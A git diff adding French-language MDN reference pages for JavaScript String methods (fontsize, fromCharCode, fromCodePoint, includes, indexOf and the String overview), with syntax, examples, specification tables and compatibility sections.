document.getElementById('IDdeVotreElement').style.color = 'red'
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.fontcolor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.fontsize()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/fontsize/index.html b/files/fr/web/javascript/reference/global_objects/string/fontsize/index.html new file mode 100644 index 0000000000..33241acfbd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/fontsize/index.html @@ -0,0 +1,88 @@ +--- +title: String.prototype.fontsize() +slug: Web/JavaScript/Reference/Objets_globaux/String/fontsize +tags: + - Deprecated + - HTML wrapper methods + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize +--- +
{{JSRef}}{{deprecated_header}}
+ +

La propriété fontsize() permet de créer un élément HTML {{HTMLElement("font")}} qui permet d'afficher la chaîne de caractères dans une fonte de taille donnée.

+ +
+

Note : L'élément <font> a été retiré dans HTML5 et ne devrait plus être utilisé. Les propriétés CSS permettent de modifier les aspects de mise en forme et doivent donc être utilisées à la place.

+
+ +

Syntaxe

+ +
str.fontsize(taille)
+ +

Paramètres

+ +
+
taille
+
Un entier compris entre 1 et 7 ou une chaîne de caractère représentant un nombre signé entre 1 et 7.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("font")}}.

+ +

Description

+ +

Lorsque le paramètre utilisé est un entier, la taille de la chaîne str correspondra à l'une des 7 tailles définies. Lorsque le paramètre utilisé est une chaîne de caractères (par exemple "-2"), la taille de la fonte sera ajustée relativement à la taille définie par l'élément {{HTMLElement("basefont")}}.

+ +

Exemples

+ +

L'exemple qui suit illustre comment utiliser les méthodes pour les chaînes de caractères afin de modifier la taille d'une chaîne de caractères :

+ +
var worldString = "Coucou monde";
+
+console.log(worldString.small()); // <small>Coucou monde</small>
+console.log(worldString.big()); // <big>Coucou monde</big>
+console.log(worldString.fontsize(7)); // <font size="7">Coucou monde</fontsize>
+ +

L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut style de l'élément et de le manipuler de façon générique. Par exemple :

+ +
document.getElementById('IdElement').style.fontSize = '0.7em'
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.fontsize")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.big()")}}
    • +
  • {{jsxref("String.prototype.small()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/fromcharcode/index.html b/files/fr/web/javascript/reference/global_objects/string/fromcharcode/index.html new file mode 100644 index 0000000000..5648f25e05 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/fromcharcode/index.html @@ -0,0 +1,117 @@ +--- +title: String.fromCharCode() +slug: Web/JavaScript/Reference/Objets_globaux/String/fromCharCode +tags: + - JavaScript + - Méthode + - Reference + - String + - UTF-16 + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode +--- +
{{JSRef}}
+ +

La méthode statique String.fromCharCode() renvoie une chaîne de caractères créée à partir de points de code UTF-16.

+ +
{{EmbedInteractiveExample("pages/js/string-fromcharcode.html")}}
+ + + +

Syntaxe

+ +
String.fromCharCode(num1, ..., numN)
+ +

Paramètres

+ +
+
num1, ..., numN
+
Une séquence de nombres représentant des points de code UTF-16 entre 0 et 65535 (0xFFFF). Les nombres supérieurs à 0xFFFF sont tronqués.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui contient les caractères correspondants à la série de points de code UTF-16.

+ +

Description

+ +

Cette méthode renvoie une chaîne de caractère et non un objet {{jsxref("String")}}.

+ +

La méthode fromCharCode() étant une méthode statique de l'objet String, elle doit toujours être utilisée avec la syntaxe String.fromCharCode() plutôt qu'en appelant la méthode à partir d'un objet String construit sur mesure.

+ +

Exemples

+ +

Pour les caractères du plan multilingue de base, UTF-16 utilise une seule unité de code :

+ +
String.fromCharCode(65,66,67); // ABC
+String.fromCharCode(0x2014);   // "—"
+String.fromCharCode(0x12014);  // "—" également, le 1 a été tronqué
+String.fromCharCode(8212);     // renvoie également "—" car 8212
+                               // est la forme décimale
+
+ +

Les caractères hors de ce plan utilisent deux unités de code (on parle de surrogate pair) :

+ +
String.fromCharCode(0xD83C, 0xDF03); // Point de code U+1F303 pour l'émoji nuit étoilée
+
+// Forme décimale équivalente :
+String.fromCharCode(55356, 57091);
+
+String.fromCharCode(0xD834, 0xDF06, 0x61, 0xD834, 0xDF07);
+// "\uD834\uDF06a\uD834\uDF07"
+
+ +

Utiliser des valeurs Unicode plus grandes

+ +

En UTF-16, les caractères les plus communs sont représentables sur une seule valeur de 16 bits. Toutefois, cet ensemble de caractères (aussi appelé plan multilingue de base ou BMP en anglais) ne représente qu'1/17e de l'espace total représenté par les caractères Unicode. Le reste des points de code, sur l'intervalle 65536 (0x010000) à 1114111 (0x10FFFF) sont des caractères additionnels qui sont représentés par deux valeurs sur 16 bits qu'on appelle surrogate pairs en anglais.

+ +

La méthode fromCharCode() ne fonctionne qu'avec des valeurs sur 16 bits et il faudra donc fournir une paire de codets pour obtenir certains caractères. Ainsi, String.fromCharCode(0xD83C, 0xDF03) renvoie le point de code U+1F303 qui représente l'émoji « nuit étoilée ».

+ +

Bien qu'il y ait une relation mathématique entre la valeur composée et les deux codets qui forment la paire, on a besoin d'une étape supplémentaire à chaque fois. Aussi, il sera plus pratique d'utiliser {{jsxref("String.fromCodePoint()")}} (ES2015 / ES6) qui permet de manipuler les codes des caractères hors BMP : on pourra ainsi écrire String.fromCodePoint(0x1F303) pour renvoyer le caractère U+1F303 (émoji « nuit étoilée »).

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.3.2', 'StringfromCharCode')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.fromcharcodes', 'String.fromCharCode')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.fromcharcodes', 'String.fromCharCode')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.fromCharCode")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.charCodeAt()")}}
    • +
  • {{jsxref("String.prototype.charAt()")}}
    • +
  • {{jsxref("String.fromCodePoint()")}}
    • +
  • {{jsxref("String.prototype.codePointAt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/fromcodepoint/index.html b/files/fr/web/javascript/reference/global_objects/string/fromcodepoint/index.html new file mode 100644 index 0000000000..387ecf4878 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/fromcodepoint/index.html @@ -0,0 +1,111 @@ +--- +title: String.fromCodePoint() +slug: Web/JavaScript/Reference/Objets_globaux/String/fromCodePoint +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint +--- +
{{JSRef}}
+ +

La méthode statique String.fromCodePoint() renvoie une chaîne de caractères créée à partir d'un suite de codets.

+ +
{{EmbedInteractiveExample("pages/js/string-fromcodepoint.html")}}
+ + + +

Syntaxe

+ +
String.fromCodePoint(num1[, ...[, numN]])
+ +

Paramètres

+ +
+
num1, ..., numN
+
Une séquence de codets (code points).
+
+ +

Valeur de retour

+ +

Une chaîne de caractères créée à partir de la séquence de codets indiquée.

+ +

Exceptions

+ +
    +
  • Une exception {{jsxref("Erreurs/Not_a_codepoint","RangeError")}} est renvoyée si un codet (Unicode) invalide est utilisé (par exemple, on pourra avoir "RangeError: NaN is not a valid code point").
    • +
+ +

Description

+ +

fromCodePoint() étant une méthode statique de {{jsxref("String")}}, elle doit toujours être utilisée avec la syntaxe String.fromCodePoint(), plutôt qu'avec une méthode d'un objet {{jsxref("String")}} qui aurait été créé.

+ +

Exemples

+ +

Utiliser fromCodePoint()

+ +
String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+
+String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError
+
+ +

Comparaison avec fromCharCode()

+ +

La méthode {{jsxref("String.fromCharCode()")}} ne peut pas renvoyer les caractères de l'intervalle 0x010000 à 0X10FFFF avec un seul codet, il est nécessaire de lui fournir la paire décomposée (surrogate pair) pour obtenr un tel caractère :

+ +
String.fromCharCode(0xD83C, 0xDF03); // émoji « nuit étoilée »
+String.fromCharCode(55356, 57091);   // équivalent en notation décimale
+ +

String.fromCodePoint(), en revanche, peut renvoyer les caractères qui s'expriment sur plus d'un codet de 16 bits grâce à leur codet « simple » :

+ +
String.fromCodePoint(0x1F303); // ou 127747 en notation décimale
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.fromCodePoint")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.fromCharCode()")}}
    • +
  • {{jsxref("String.prototype.charAt()")}}
    • +
  • {{jsxref("String.prototype.codePointAt()")}}
    • +
  • {{jsxref("String.prototype.charCodeAt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/includes/index.html b/files/fr/web/javascript/reference/global_objects/string/includes/index.html new file mode 100644 index 0000000000..7da8d0e57e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/includes/index.html @@ -0,0 +1,129 @@ +--- +title: String.prototype.includes() +slug: Web/JavaScript/Reference/Objets_globaux/String/includes +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/includes +--- +
{{JSRef}}
+ +

La méthode includes() détermine si une chaîne de caractères est contenue dans une autre et renvoie true ou false selon le cas de figure.

+ +
{{EmbedInteractiveExample("pages/js/string-includes.html")}}
+ + + +

Syntaxe

+ +
str.includes(chaîneRecherchée);
+str.includes(chaîneRecherchée, position);
+ +

Paramètres

+ +
+
chaîneRecherchée
+
Une chaîne à rechercher dans la chaîne courante.
+
position {{optional_inline}}
+
La position dans la chaîne à partir de laquelle commencera la recherche. La valeur par défaut de position est 0.
+
+ +

Valeur de retour

+ +

true si la chaîne de caractères contient la sous-chaîne recherchée, false sinon.

+ +

Description

+ +

Cette méthode détermine si une chaîne de caractères est contenue dans une autre.

+ +

Sensibilité à la case

+ +

includes() est sensible à la casse. Par exemple, l'expression suivante nous retournera false :

+ +
'Baleine bleue'.includes('baleine'); // false
+ +

Exemples

+ +

Utiliser includes()

+ +
const str = "Être ou ne pas être, telle est la question.";
+
+console.log(str.includes("Être"));       // true
+console.log(str.includes("question"));   // true
+console.log(str.includes("pléonasme"));  // false
+console.log(str.includes("Être", 1));    // false
+console.log(str.includes("ÊTRE"));       // false
+console.log(str.includes(""));       // true
+
+ +

Prothèse d'émulation (polyfill)

+ +

Cette méthode a été ajoutée à la spécification ECMAScript 2015 et n'est peut-être pas encore disponible dans toutes les implémentations JavaScript.

+ +

Cependant, vous pouvez facilement {{Glossary('polyfill')}} cette méthode pour de vieux navigateurs :

+ +
if (!String.prototype.includes) {
+  String.prototype.includes = function(search, start) {
+    'use strict';
+
+    if (search instanceof RegExp) {
+      throw TypeError('first argument must not be a RegExp');
+    }
+    if (start === undefined) { start = 0; }
+    return this.indexOf(search, start) !== -1;
+  };
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.includes', 'String.prototype.includes')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-string.prototype.includes', 'String.prototype.includes')}}{{Spec2('ES6')}}Définition initiale.
+ +

Compatibilité du navigateur

+ + + +

{{Compat("javascript.builtins.String.includes")}}

+ +

String.prototype.contains

+ +

Les versions de Firefox allant de Firefox 18 à Firefox 39 utilisent cette méthode avec le nom contains(). Cette méthode a été renommée en includes() via {{bug(1102219)}} pour la raison suivante :

+ +

Il a été rapporté que certains sites web utilisant MooTools 1.2 plantaient sur Firefox 17. Cette version de MooTools vérifie que String.prototype.contains() existe bien, et si ce n'est pas le cas, ajoute sa propre fonction similaire. Avec l'introduction de cette fonction dans Firefox 17, le comportement de ce contrôle a changé de telle manière qu'il cause un plantage du code de MooTools implémenté pour String.prototype.contains(). En conséquence, cette implémentation a été désactivée de Firefox 17. String.prototype.contains() est ainsi disponible sur une version ultérieure : Firefox 18 lorsque MooTools a déclenché la sortie de la version 1.2.6.

+ +

MooTools 1.3 force sa propre version de String.prototype.includes(), les sites Web l'implémentant ne sont donc pas perturbés. Néanmoins, il faut noter que les signatures des méthodes diffèrent entre MooTools 1.3 et ECMAScript 2015 (pour le second paramètre). MooTools 1.5+ a modifié sa signature afin de prendre en compte le standard de ES2015.

+ +

Dans Firefox 48, la méthode String.prototype.contains() a été retirée. String.prototype.includes() doit être utilisée à la place.

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.includes()")}}
    • +
  • {{jsxref("TypedArray.prototype.includes()")}}
    • +
  • {{jsxref("String.prototype.indexOf()")}}
    • +
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • +
  • {{jsxref("String.prototype.startsWith()")}}
    • +
  • {{jsxref("String.prototype.endsWith()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/index.html b/files/fr/web/javascript/reference/global_objects/string/index.html new file mode 100644 index 0000000000..acb1dd450e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/index.html @@ -0,0 +1,284 @@ +--- +title: String +slug: Web/JavaScript/Reference/Objets_globaux/String +tags: + - ECMAScript 2015 + - JavaScript + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String +--- +
{{JSRef}}
+ +

L'objet global String est un constructeur de chaînes de caractères.

+ +

Syntaxe

+ +

Les littéraux de chaînes de caractères peuvent avoir l'une des formes suivantes :

+ +
'texte de chaînes de caractères'
+"texte de chaînes de caractères"
+"中文 español English देवनागरी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 עברית"
+ +

Les chaînes peuvent également être créées en utilisant directement le constructeur String :

+ +
String(texte)
+ +

Paramètres

+ +
+
texte
+
Une valeur qu'on souhaite convertir en une chaîne de caractères.
+
+ +

Littéraux de gabarits

+ +

Depuis ECMAScript 2015, les littéraux de chaînes de caractères sont également appelés des littéraux de gabarits :

+ +
`Coucou monde`
+`Coucou !
+monde !`
+`Coucou ${qui}`
+tag `<a>${qui}</a>`
+
+ +

Échappement des caractères

+ +

En dehors des caractères classiques, des caractères spéciaux peuvent être encodés grâce à l'échappement :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CodeRésultat
\XXX (XXX = 1 à 3 chiffres octaux pour l'intervalle 0 - 377)Caractère ISO-8859-1. Point de code Unicode entre U+0000 et U+00FF
\'simple quote
\"double quote
\\barre oblique inversée
\nnouvelle ligne
\rretour chariot
\vtabulation verticale
\ttabulation
\bretour arrière
\fsaut de page (form feed)
\uXXXX (XXXX étant 4 chiffres hexadécimaux pour l'intervalle of 0x0000 - 0xFFFF)Codet UTF-16. Point de code Unicode entre U+0000 et U+FFFF
\u{X} ... \u{XXXXXX} (X…XXXXXX étant 1 à 6 chiffres hexadécimaux pour l'intervalle 0x0 - 0x10FFFF)Codet UTF-32. Point de code Unicode entre U+0000 et U+10FFFF {{experimental_inline}}
\xXX (XX étant 2 chiffres hexadécimaux pour l'intervalle 0x00 - 0xFF)Caractère ISO-8859-1. Point de code Unicode entre U+0000 et U+00FF
+ +
+

Note : À la différence d'autres langages, JavaScript ne différencie pas les chaînes contenues dans des doubles quotes (") de celles contenues dans des simples quotes ('). Pour cette raison, les chaînes d'échappement présentées ci-avant fonctionnent sur les chaînes, peu importe la façon dont elles sont encadrées.

+
+ +

Littéraux pour les chaînes longues

+ +

Il peut arriver que le code contienne des chaînes plutôt longues. Plutôt que d'avoir des lignes qui s'étirent sur tout le fichier et dans un éditeur de code, il est possible de casser la chaîne sur plusieurs lignes sans que cela modifie le contenu de la chaîne. Il existe deux façons pour le faire :

+ +
let chaîneLongue = "Voici une très longue chaîne qui a besoin " +
+                   " d'être passée à la ligne parce que sinon " +
+                   " ça risque de devenir illisible.";
+ +

ou on peut utiliser le caractère barre oblique inversée "\" à la fin de chaque ligne pour indiquer que la chaîne continue sur la ligne suivante. Il faut bien faire attention à ce que la barre oblique soit bien le dernier caractère de la ligne avant le saut de ligne. Sinon, cela ne fonctionnera pas. Voilà comment se présente cette forme :

+ +
let chaîneLongue = "Voici une très longue chaîne qui a besoin \
+d'être passée à la ligne parce que sinon \
+ça risque de devenir illisible.";
+ +

Description

+ +

Les chaînes de caractères sont utiles pour représenter des données textuelles. Les opérations les plus fréquentes qui concernent les chaînes de caractères sont : la vérification de leur {{jsxref("String.length", "longueur")}}, la concaténation de plusieurs chaînes grâce aux opérateurs + et +=, étudier la présence et la position de fragments de chaînes avec les méthodes {{jsxref("String.prototype.indexOf", "indexOf()")}} et {{jsxref("String.prototype.substring", "substring()")}}.

+ +

Accéder à un caractère

+ +

Il existe deux façons d'accéder à un caractère dans une chaîne. La première façon consiste à utiliser la méthode {{jsxref("String.prototype.charAt", "charAt()")}} :

+ +
return 'chat'.charAt(2); // renvoie "a"
+ +

La seconde méthode, introduite avec ECMAScript 5, est de manipuler la chaîne comme un tableau, où les caractères sont les éléments du tableau et ont un indice correspondant à leur position :

+ +
return 'chat'[2]; // renvoie "a"
+ +

En utilisant la seconde notation, il est impossible de supprimer ou d'affecter une valeur à ces propriétés. En effet, les propriétés concernées ne sont ni accessibles en écriture ni configurables. Pour plus d'informations, voir la page de {{jsxref("Object.defineProperty()")}}.

+ +

Comparer des chaînes de caractères

+ +

Les développeurs C utilisent la fonction strcmp() pour comparer des chaînes de caractères. En JavaScript, il est possible d'utiliser les opérateurs inférieur et supérieur :

+ +
var a = "a";
+var b = "b";
+if (a < b) { // true
+  console.log(a + " est inférieure à " + b);
+} else if (a > b) {
+  console.log(a + " est supérieure à " + b);
+} else {
+  console.log(a + " et " + b + " sont égales.");
+}
+ +

On peut obtenir un résultat semblable avec la méthode {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} qui permet de prendre en compte la locale utilisée et qui est héritée par toutes les instances de String.

+ +

Les différences entre les objets String et le type primitif pour les chaînes de caractères

+ +

Les objets String sont créés en appelant le constructeur new String(). L'objet String encapsule le type de données primitif string de JavaScript en fournissant les méthodes décrites plus bas. La fonction globale String() peut également être appelée sans l'opérateur new pour créer une chaîne primitive. Les chaînes littérales dans le code JavaScript sont des chaînes primitives. (On a la même analogie pour {{jsxref("Boolean")}} et {{jsxref("Objets_globaux/Number","Numbers")}}.)

+ +

Étant donné que JavaScript effectue automatiquement les conversions entre chaînes primitives et objets String, toute méthode de l'objet String peut être appelée sur une chaîne primitive. JavaScript convertira automatiquement la chaîne en un objet String temporaire, appellera la méthode, puis détruira l'objet temporaire. Par exemple, on peut utiliser la propriété String.length sur une chaîne créée de manière littérale :

+ +
var s_prim = "toto";
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // affiche "string"
+console.log(typeof s_obj);  // affiche "object"
+ +

(Une chaîne littérale peut être délimitée par des guillemets simples ou doubles.)

+ +

Les objets String peuvent être convertis en chaînes primitives à l'aide de String.valueOf().

+ +

Les chaînes primitives et les objets String renvoient des résultats différents lorsqu'ils sont évalués en JavaScript. Les chaînes primitives sont traitées comme du code source, tandis que les objets String sont traités comme un objet de séquence de caractères. Par exemple :

+ +
s1 = "2 + 2";                    // crée une chaîne primitive
+s2 = new String("2 + 2");        // crée un objet String
+console.log(eval(s1));           // renvoie le nombre 4
+console.log(eval(s2));           // renvoie la chaîne "2 + 2"
+console.log(eval(s2.valueOf())); // renvoie le nombre 4
+ +

Pour ces raisons, il peut y avoir certains problèmes quand le code attend une chaîne primitive plutôt qu'un objet String. Généralement la distinction n'a pas besoin d'être utilisée.

+ +

Un objet String peut toujours être converti en son équivalent primitif grâce à la méthode {{jsxref("String.prototype.valueOf()", "valueOf()")}}.

+ +
console.log(eval(s2.valueOf())); // renvoie  4
+ +
Note : Une autre approche pour gérer des chaînes de caractères en JavaScript consiste à utiliser StringView – une représentation semblable à celle utilisée par le langage C pour traîter les chaînes comme des tableaux typés.
+ +

Propriétés

+ +
+
{{jsxref("String.prototype")}}
+
permet d'ajouter des propriétés à tous les objets String.
+
+ +

Méthodes

+ +
+
{{jsxref("String.fromCharCode()")}}
+
Renvoie une chaine de caractères créée en utilisant la séquence de valeurs Unicode fournie.
+
{{jsxref("String.fromCodePoint()")}}
+
Renvoie une chaine de caractères créée en utilisant la séquence de points de code fournie.
+
{{jsxref("String.raw()")}} {{experimental_inline}}
+
Renvoie une chaine de caractères à partir d'un modèle brut de chaine de caractères.
+
+ +

Instances de String

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Propriétés')}}

+ +

Méthodes

+ +

Méthodes non liées à HTML

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Méthodes non liées à HTML')}}

+ +

Méthodes de transformation à HTML

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/String/prototype', 'Méthodes de transformation HTML')}}

+ +

Exemples

+ +

Il est possible d'utiliser String comme une alternative à {{jsxref("String.prototype.toString()", "toString()")}} car cela permet de traiter les valeurs {{jsxref("null")}}, {{jsxref("undefined")}} et les {{jsxref("Symbol","symboles","",1)}}. Ainsi :

+ +
var chainesSortie= [];
+for (let i = 0, n = valeursEntrée.length; i < n; ++i) {
+  chainesSortie.push(String(valeursEntrée[i]));
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5', 'String')}}{{Spec2('ES5.1')}}
{{SpecName('ES2015', '#sec-string-objects', 'String')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-string-objects', 'String')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String",2)}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/string/indexof/index.html b/files/fr/web/javascript/reference/global_objects/string/indexof/index.html new file mode 100644 index 0000000000..370aa6d397 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/indexof/index.html @@ -0,0 +1,161 @@ +--- +title: String.prototype.indexOf() +slug: Web/JavaScript/Reference/Objets_globaux/String/indexOf +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf +--- +
{{JSRef}}
+ +

La méthode indexOf() renvoie l'indice de la première occurence de la valeur cherchée au sein de la chaîne courante (à partir de indexDébut). Elle renvoie -1 si la valeur cherchée n'est pas trouvée.

+ +
{{EmbedInteractiveExample("pages/js/string-indexof.html")}}
+ + + +
+

Note : Pour la méthode associée aux tableaux, voir la page {{jsxref("Array.prototype.indexOf()")}}.

+
+ +

Syntaxe

+ +
str.indexOf(valeurRecherchée)
+str.indexOf(valeurRecherchée, indexDébut)
+
+ +

Paramètres

+ +
+
valeurRecherchée
+
Une chaîne représentant la valeur qu'on cherche dans la chaîne courante. Si aucune valeur n'est fournie explicitement, valeurRecherchée sera convertie en "undefined" et c'est cette chaîne qui sera recherchée.
+
indexDébut
+
Paramètre optionnel. L'indice à partir duquel commencer la recherche, effectuée du début vers la fin de la liste. Cela peut être n'importe quel entier. La valeur par défaut est 0. Si indexDébut < 0 la chaîne sera parcourue en entier (ce qui équivaut à utiliser 0). Si indexDébut >= str.length, la méthode renverra -1 sauf si valeurRecherchée est la chaîne vide, auquel cas, la méthode renverra str.length.
+
+ +

Valeur de retour

+ +

L'indice de la première occurrence de la valeur indiquée, -1 si elle n'est pas trouvée. Si la valeur recherchée est la chaîne vide, une correspondance sera trouvée à n'importe quel index entre 0 et str.length.

+ +

Description

+ +

Les caractères dans une chaîne de caractères sont indexés de la gauche à la droite. L'indice du premier caractère est 0, celui du dernier caractère (d'une chaîne str) est str.length - 1.

+ +
"Blue Whale".indexOf("Blue");     // retourne  0
+"Blue Whale".indexOf("Blute");    // retourne -1
+"Blue Whale".indexOf("Whale", 0); // retourne  5
+"Blue Whale".indexOf("Whale", 5); // retourne  5
+"Blue Whale".indexOf("");         // retourne  0
+"Blue Whale".indexOf("", 9);      // retourne  9
+"Blue Whale".indexOf("", 10);     // retourne 10
+"Blue Whale".indexOf("", 11);     // retourne 10
+ +

Sensibilité à la casse

+ +

La méthode indexOf() est sensible à la casse. Par exemple, l'expression suivante retourne -1 :

+ +
"Blue Whale".indexOf("blue") // retourne -1
+
+ +

Attention : 0 n'est pas une valeur qui peut être évaluée à true et -1 n'est pas une valeur qui peut être évaluée à false. Ainsi, si on souhaite tester si une chaîne de caractères existe au sein d'une autre chaîne de caractères, on procèdera de cette façon (ou on utilisera {{jsxref("String.prototype.includes()")}}

+ +
"Blue Whale".indexOf("Blue") != -1; // true
+"Blue Whale".indexOf("Bloe") != -1; // false
+ +

Exemples

+ +

Utiliser indexOf() et lastIndexOf()

+ +

L'exemple suivant utilise indexOf() et lastIndexOf() pour localiser différentes valeurs dans la chaîne de caractères "Brave new world".

+ +
const uneChaîne = "Brave new world"
+
+console.log("Indice du premier w " + uneChaîne.indexOf("w"));
+// Affiche 8
+console.log("Indice du dernier w " + uneChaîne.lastIndexOf("w"));
+// Affiche 10
+
+console.log("Indice du premier 'new' " + uneChaîne.indexOf("new"));
+// Affiche 6
+console.log("Indice du dernier 'new' " + uneChaîne.lastIndexOf("new"));
+// Affiche 6
+
+ +

indexOf() et la sensibilité à la casse

+ +

L'exemple suivant définit 2 chaînes de caractères. Ces variables contiennent la meme chaîne de caractères sauf que la seconde chaîne de caractères contient des lettres majuscules. La première méthode writeln affiche 19. Cependant, comme la méthode indexOf est sensible à la casse, la chaîne de caractères "cheddar" n'est pas trouvée dans myCapString, donc le second résultat affiche -1.

+ +
const maChaîne = "brie, reblochon, cheddar";
+const maChaîneMajuscules = "Brie, Reblochon, Cheddar";
+
+console.log('maChaîne.indexOf("cheddar") is '+ maChaîne.indexOf("cheddar"));
+// Affiche 19
+console.log('maChaîneMajuscules.indexOf("cheddar") is ' + maChaîneMajuscules.indexOf("cheddar"));
+// Affiche -1
+ +

Utiliser indexOf() pour compter le nombre d'occurences dans une chaîne de caractères

+ +

L'exemple suivant utilise la variable count pour stocker le nombre d'occurences de la lettre x dans la chaîne de caractère str :

+ +
const str = "Chaîne x de test x";
+let count = 0;
+let pos = str.indexOf("x");
+
+while ( pos != -1 ) {
+   count++;
+   pos = str.indexOf( "x",pos + 1 );
+}
+console.log(count); // Affiche 2
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5.4.7', 'String.prototype.indexOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.indexof', 'String.prototype.indexOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.indexOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.charAt()")}}
    • +
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • +
  • {{jsxref("String.prototype.includes()")}}
    • +
  • {{jsxref("String.prototype.split()")}}
    • +
  • {{jsxref("Array.prototype.indexOf()")}}
    • +
